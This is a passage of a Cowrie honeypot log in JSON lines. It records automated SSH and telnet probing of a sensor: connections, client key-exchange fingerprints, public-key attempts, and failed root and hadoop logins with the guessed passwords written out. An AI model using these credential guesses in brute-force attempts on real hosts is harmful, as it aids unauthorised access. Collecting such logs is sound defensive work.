{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:ed:c8:f6:2f:1e:5c:b7:85:7f:f0:5f:72:70:e6:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33DaKwF+hHjTlSmcztJ0TyIv0tsAGXNKO03xMyZvAMcOrYhUoZVDQbLGD8/y0Os2y4L2hLak17qGJV+DwAZ3pfNKNcMnFyncSIee92bZ8o9nNkCJ/HY/kuvwJVCeQGukYswxf5D1ZW29BkQUrsMSe1REv/dX5vFTsri2t9YU2KZGCxhPqq9DLM2zXO/7XTqxoCyMIWLhuuxp3hsYvYkH/KLdEC7eWtTs3yOvYA2mmZ0GJTve88OcVLP6E8rUKdVQ6qyGlQRiVHlbv0IHW+oc4MdilBdNFpXi/klM5QdeRrMhYdt0Jb2Tsz93w10Ua/H4npDAKQT3hufeeNA116J8p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.370131Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.506200Z","src_ip":"103.24.63.85","session":"ca36d471ad0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:9b:fc:c0:53:b8:e4:c4:ae:cb:a9:84:61:74:07:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr2w6q2TCUPVLOrhsirNfvXwSTqc073i8TjuhPZUohmr3cKmDmG7x1LIAQuTB8SOmMlBUvr8UcFfu4fw8Dx8HjaO3KggcpzcdlEwLCv7nrcwKxzEEjmWpNf9HiaamDYRUmHyBkyPPRLGH+Yd3bYto9ChDymBk1BEoDF3en2pm/Lg2w+dqaY96GLJXE1+RhtLxWA7MmbKuSnRLVKfCIhjoFxT7AGEhnJTFSh0Q3kxzDnCUwnPLJW2l2ZQx0lGUw1Ug0XIOyeSIPqvUts8Ee8N3fH0Zm0Kjpfua9ECb1XAl9V7axHmoke54g3GL/PKOyBrfuf/m8eR0/+YpDzlTTWAgB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:9b:fc:c0:53:b8:e4:c4:ae:cb:a9:84:61:74:07:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.511786Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:9b:fc:c0:53:b8:e4:c4:ae:cb:a9:84:61:74:07:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr2w6q2TCUPVLOrhsirNfvXwSTqc073i8TjuhPZUohmr3cKmDmG7x1LIAQuTB8SOmMlBUvr8UcFfu4fw8Dx8HjaO3KggcpzcdlEwLCv7nrcwKxzEEjmWpNf9HiaamDYRUmHyBkyPPRLGH+Yd3bYto9ChDymBk1BEoDF3en2pm/Lg2w+dqaY96GLJXE1+RhtLxWA7MmbKuSnRLVKfCIhjoFxT7AGEhnJTFSh0Q3kxzDnCUwnPLJW2l2ZQx0lGUw1Ug0XIOyeSIPqvUts8Ee8N3fH0Zm0Kjpfua9ECb1XAl9V7axHmoke54g3GL/PKOyBrfuf/m8eR0/+YpDzlTTWAgB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.515880Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:0e:f4:04:6c:cb:01:36:91:4a:11:aa:fc:86:f5:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEtxthzdodDitI91JTxioIUOICD9LKlyGvyFsL1ZZLL3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 58:0e:f4:04:6c:cb:01:36:91:4a:11:aa:fc:86:f5:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.651760Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:0e:f4:04:6c:cb:01:36:91:4a:11:aa:fc:86:f5:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEtxthzdodDitI91JTxioIUOICD9LKlyGvyFsL1ZZLL3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.656028Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.58375358581543,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.761138Z","src_ip":"192.119.13.58","session":"251987d0209a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:42.790547Z","src_ip":"89.45.12.110","session":"0f2386717519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":37164,"dst_ip":"159.203.135.109","dst_port":22,"session":"78c83ef62758","protocol":"ssh","message":"New connection: 103.195.236.96:37164 (159.203.135.109:22) [session: 78c83ef62758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:46.933477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:46.937942Z","src_ip":"103.195.236.96","session":"78c83ef62758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:47.179879Z","src_ip":"103.195.236.96","session":"78c83ef62758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.01585388183594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:47.197754Z","src_ip":"192.119.13.58","session":"5f1b0c61fabb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212121212","message":"login attempt [root/1212121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:47.911627Z","src_ip":"103.195.236.96","session":"78c83ef62758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:49.156542Z","src_ip":"103.195.236.96","session":"78c83ef62758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c368da2aa48","protocol":"telnet","message":"New connection: 192.119.13.58:45432 (10.17.0.5:23) [session: 7c368da2aa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:49.161762Z"}
{"eventid":"cowrie.session.closed","duration":36.559186697006226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:50.115995Z","src_ip":"192.119.13.58","session":"cec2e198aa83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9ab43bb792","protocol":"telnet","message":"New connection: 192.119.13.58:42828 (10.17.0.5:23) [session: fd9ab43bb792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:55.632771Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36368,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c4bd9c4892d","protocol":"ssh","message":"New connection: 103.176.20.57:36368 (10.17.0.5:22) [session: 6c4bd9c4892d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:55.952497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:55.957897Z","src_ip":"103.176.20.57","session":"6c4bd9c4892d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:56.207637Z","src_ip":"103.176.20.57","session":"6c4bd9c4892d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":15044,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c0e5a47957","protocol":"ssh","message":"New connection: 103.24.63.85:15044 (159.203.135.109:22) [session: 23c0e5a47957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:56.264430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:56.273559Z","src_ip":"103.24.63.85","session":"23c0e5a47957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:56.477054Z","src_ip":"103.24.63.85","session":"23c0e5a47957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbvec","message":"login attempt [root/vfrcbvec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:56.966847Z","src_ip":"103.176.20.57","session":"6c4bd9c4892d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:57.134348Z","src_ip":"103.24.63.85","session":"23c0e5a47957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:58.223121Z","src_ip":"103.176.20.57","session":"6c4bd9c4892d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:56:58.340305Z","src_ip":"103.24.63.85","session":"23c0e5a47957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.977147817611694,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:04.221420Z","src_ip":"192.119.13.58","session":"555b6bdda84e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":20417,"dst_ip":"159.203.135.109","dst_port":22,"session":"27e2425da31c","protocol":"ssh","message":"New connection: 103.24.63.85:20417 (159.203.135.109:22) [session: 27e2425da31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:12.223182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:12.228448Z","src_ip":"103.24.63.85","session":"27e2425da31c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:12.436681Z","src_ip":"103.24.63.85","session":"27e2425da31c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:13.112611Z","src_ip":"103.24.63.85","session":"27e2425da31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33762,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bd54a311f53","protocol":"telnet","message":"New connection: 192.119.13.58:33762 (10.17.0.5:23) [session: 6bd54a311f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:14.067280Z"}
{"eventid":"cowrie.session.closed","duration":55.115320920944214,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:14.215040Z","src_ip":"192.119.13.58","session":"ce60dee9780a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:14.373211Z","src_ip":"103.24.63.85","session":"27e2425da31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57966,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a185ceb6d6","protocol":"telnet","message":"New connection: 192.119.13.58:57966 (10.17.0.5:23) [session: 78a185ceb6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:20.047196Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33744,"dst_ip":"10.17.0.5","dst_port":23,"session":"894c33982aa0","protocol":"telnet","message":"New connection: 192.119.13.58:33744 (10.17.0.5:23) [session: 894c33982aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:21.085474Z"}
{"eventid":"cowrie.session.closed","duration":43.991408348083496,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:23.729096Z","src_ip":"192.119.13.58","session":"7a94c7c61daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56264,"dst_ip":"10.17.0.5","dst_port":23,"session":"af59f4b1836b","protocol":"telnet","message":"New connection: 192.119.13.58:56264 (10.17.0.5:23) [session: af59f4b1836b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:26.674026Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55990,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ea9211f4429","protocol":"ssh","message":"New connection: 147.45.199.80:55990 (159.203.135.109:22) [session: 9ea9211f4429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:27.040515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:27.045156Z","src_ip":"147.45.199.80","session":"9ea9211f4429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:27.191494Z","src_ip":"147.45.199.80","session":"9ea9211f4429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samurai","message":"login attempt [root/samurai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:27.663191Z","src_ip":"147.45.199.80","session":"9ea9211f4429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:28.817150Z","src_ip":"147.45.199.80","session":"9ea9211f4429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":26039,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0f0273e5ae","protocol":"ssh","message":"New connection: 103.24.63.85:26039 (159.203.135.109:22) [session: df0f0273e5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:29.636889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:57:29.641532Z","src_ip":"103.24.63.85","session":"df0f0273e5ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","h